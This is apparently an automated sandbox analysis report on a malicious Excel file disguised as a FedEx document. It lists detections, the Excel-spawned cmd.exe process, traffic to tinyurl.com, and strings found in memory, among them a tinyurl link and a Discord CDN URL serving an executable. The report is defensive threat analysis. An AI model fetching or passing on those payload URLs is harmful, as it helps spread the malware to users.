Analysis Report 1099008FEDEX_090887766.xls

AV Detection:

Multi AV Scanner detection for submitted file

Source: 1099008FEDEX_090887766.xls	ReversingLabs: Detection: 14%
Source: 1099008FEDEX_090887766.xls	ReversingLabs: Detection: 14%

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8A3C4 malloc,ExpandEnvironmentStringsW,FindFirstFileW,FindClose,free,		16_2_000000013FB8A3C4
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8A3C4 malloc,ExpandEnvironmentStringsW,FindFirstFileW,FindClose,free,		16_2_000000013FB8A3C4

Enumerates the file system

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\powershell.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\powershell.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\			Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe			Jump to behavior

Potential document exploit detected (performs DNS queries)

Source: global traffic	DNS query: name: tinyurl.com
Source: global traffic	DNS query: name: tinyurl.com

Potential document exploit detected (performs HTTP gets)

Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.20.138.65:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.20.138.65:443

Potential document exploit detected (unknown TCP traffic)

Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.20.138.65:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.20.138.65:443

Networking:

Connects to a URL shortener service

Source: unknown	DNS query: name: tinyurl.com
Source: unknown	DNS query: name: tinyurl.com
Source: unknown	DNS query: name: tinyurl.com
Source: unknown	DNS query: name: tinyurl.com

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 104.20.138.65 104.20.138.65
Source: Joe Sandbox View	IP Address: 104.20.138.65 104.20.138.65
Source: Joe Sandbox View	IP Address: 162.159.134.233 162.159.134.233

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

Found strings which match to known social media urls

Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: o.exe, 00000010.00000002.2132406235.0000000000387000.00000004.00000020.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: o.exe, 00000010.00000002.2132406235.0000000000387000.00000004.00000020.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Performs DNS lookups

Source: unknown	DNS traffic detected: queries for: tinyurl.com
Source: unknown	DNS traffic detected: queries for: tinyurl.com

Urls found in memory or binary data

Source: o.exe, 00000010.00000003.2131439374.000000001D153000.00000004.00000001.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
Source: o.exe, 00000010.00000003.2131439374.000000001D153000.00000004.00000001.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://ca.disig.sk/ca/crl/ca_disig.crl0
Source: o.exe, 00000010.00000002.2141296727.000000001D137000.00000004.00000001.sdmp	String found in binary or memory: http://ca.sia.it/seccli/repository/CRL.der0J
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: http://ca.sia.it/secsrv/repository/CRL.der0J
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: o.exe, 00000010.00000002.2141086169.000000001D0C7000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/publicnotaryroot.html0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/publicnotaryroot.crl0
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: o.exe, 00000010.00000002.2141397608.000000001D155000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0r
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/TrustedCertificateServices.crl0:
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://crl.oces.certifikat.dk/oces.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pki.wellsfargo.com/wsprca.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-a/cacrl.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-b/cacrl.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-c/cacrl.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncRSACA-2.crl07
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncRSACA-2.crl0L
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://crt.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crt0%
Source: o.exe, 00000010.00000002.2132356801.000000000034B000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp, o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp, o.exe, 00000010.00000003.2129295825.000000001D0EF000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: o.exe, 00000010.00000002.2140172130.000000001B80E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
Source: o.exe, 00000010.00000002.2140172130.000000001B80E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0
Source: o.exe, 00000010.00000002.2140172130.000000001B80E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca4.com0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: o.exe, 00000010.00000002.2137561271.000000000365B000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.infonotary.com/responder.cgi0V
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.gva.es0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://repository.infonotary.com/cps/qcps.html0$
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: Robocopy.exe, 00000007.00000002.2110204380.0000000002A40000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2133317799.0000000002530000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: o.exe, 00000010.00000002.2141573754.000000001D2B0000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://treyresearch.net
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: Robocopy.exe, 00000007.00000002.2110204380.0000000002A40000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2133317799.0000000002530000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.a-cert.at/certificate-policy.html0
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.a-cert.at/certificate-policy.html0;
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.a-cert.at0E
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.acabogacia.org/doc0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.acabogacia.org0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.ancert.com/cps0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/certicamaraca.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/certicamaraca.crl0;
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/dpc/0Z
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certifikat.dk/repository0
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class1.crl0
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: o.exe, 00000010.00000002.2140172130.000000001B80E000.00000004.00000001.sdmp	String found in binary or memory: http://www.comsign.co.il/cps0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.crc.bg0
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: o.exe, 00000010.00000002.2140008964.000000001B770000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://www.disig.sk/ca/crl/ca_disig.crl0
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://www.disig.sk/ca0f
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.dnie.es/dpc0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-certchile.cl/html/productos/download/CPSv1.7.pdf01
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-me.lv/repository0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crl
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crt0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/SZSZ/0
Source: o.exe, 00000010.00000002.2141122352.000000001D0D7000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-trust.be/CPS/QNcerts
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://www.echoworx.com/ca/root2/cps.pdf0
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: http://www.entrust.net/CRL/Client1.crl0
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.firmaprofesional.com0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.globaltrust.info0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.globaltrust.info0=
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: Robocopy.exe, 00000007.00000002.2109736701.0000000002317000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140674807.000000001CEB7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: Robocopy.exe, 00000007.00000002.2109190938.0000000001D50000.00000002.00000001.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: o.exe, 00000010.00000003.2131231546.000000001D12F000.00000004.00000001.sdmp	String found in binary or memory: http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: o.exe, 00000010.00000002.2141086169.000000001D0C7000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0%
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp, o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://www.post.trust.ie/reposit/cps.html0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.registradores.org/scr/normativa/cp_f2.htm0
Source: o.exe, 00000010.00000002.2141054161.000000001D0B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.rootca.or.kr/rca/cps.html0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.signatur.rtr.at/current.crl0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.signatur.rtr.at/de/directory/cps.html0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.sk.ee/cps/0
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: http://www.sk.ee/juur/crl/0
Source: o.exe, 00000010.00000003.2131264005.000000001D0C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.ssc.lt/cps03
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_2_ca_II.crl
Source: o.exe, 00000010.00000003.2131375708.000000001D0DA000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/guidelines0
Source: o.exe, 00000010.00000002.2140064624.000000001B7A8000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustdst.com/certificates/policy/ACES-index.html0
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://www.valicert.
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://www.valicert.1
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: http://www.valicert.com/1
Source: o.exe, 00000010.00000003.2131354249.000000001B80A000.00000004.00000001.sdmp	String found in binary or memory: http://www.wellsfargo.com/certpolicy0
Source: o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: o.exe, 00000010.00000002.2141296727.000000001D137000.00000004.00000001.sdmp	String found in binary or memory: https://ca.sia.it/seccli/repository/CPS0
Source: o.exe, 00000010.00000003.2131491172.000000001B7FF000.00000004.00000001.sdmp	String found in binary or memory: https://ca.sia.it/secsrv/repository/CPS0
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/770629131393
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/770629131393171507/778732067705454592/ees.exe
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/770629131393?
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/770629131393x
Source: o.exe, 00000010.00000003.2131250220.000000001D13E000.00000004.00000001.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: o.exe, 00000010.00000003.2131413940.000000001D0B9000.00000004.00000001.sdmp	String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: o.exe, 00000010.00000002.2140121697.000000001B7D5000.00000004.00000001.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	String found in binary or memory: https://secure.a-cert.at/cgi-bin/a-cert-advanced.cgi0
Source: o.exe, 00000010.00000002.2139864202.000000001B710000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: o.exe, 00000010.00000002.2137518036.000000000361C000.00000004.00000001.sdmp	String found in binary or memory: https://tinyurl.com
Source: o.exe, 00000010.00000002.2137406124.000000000351E000.00000004.00000001.sdmp	String found in binary or memory: https://tinyurl.com/y3m5fwhq
Source: o.exe, 00000010.00000003.2131231546.000000001D12F000.00000004.00000001.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
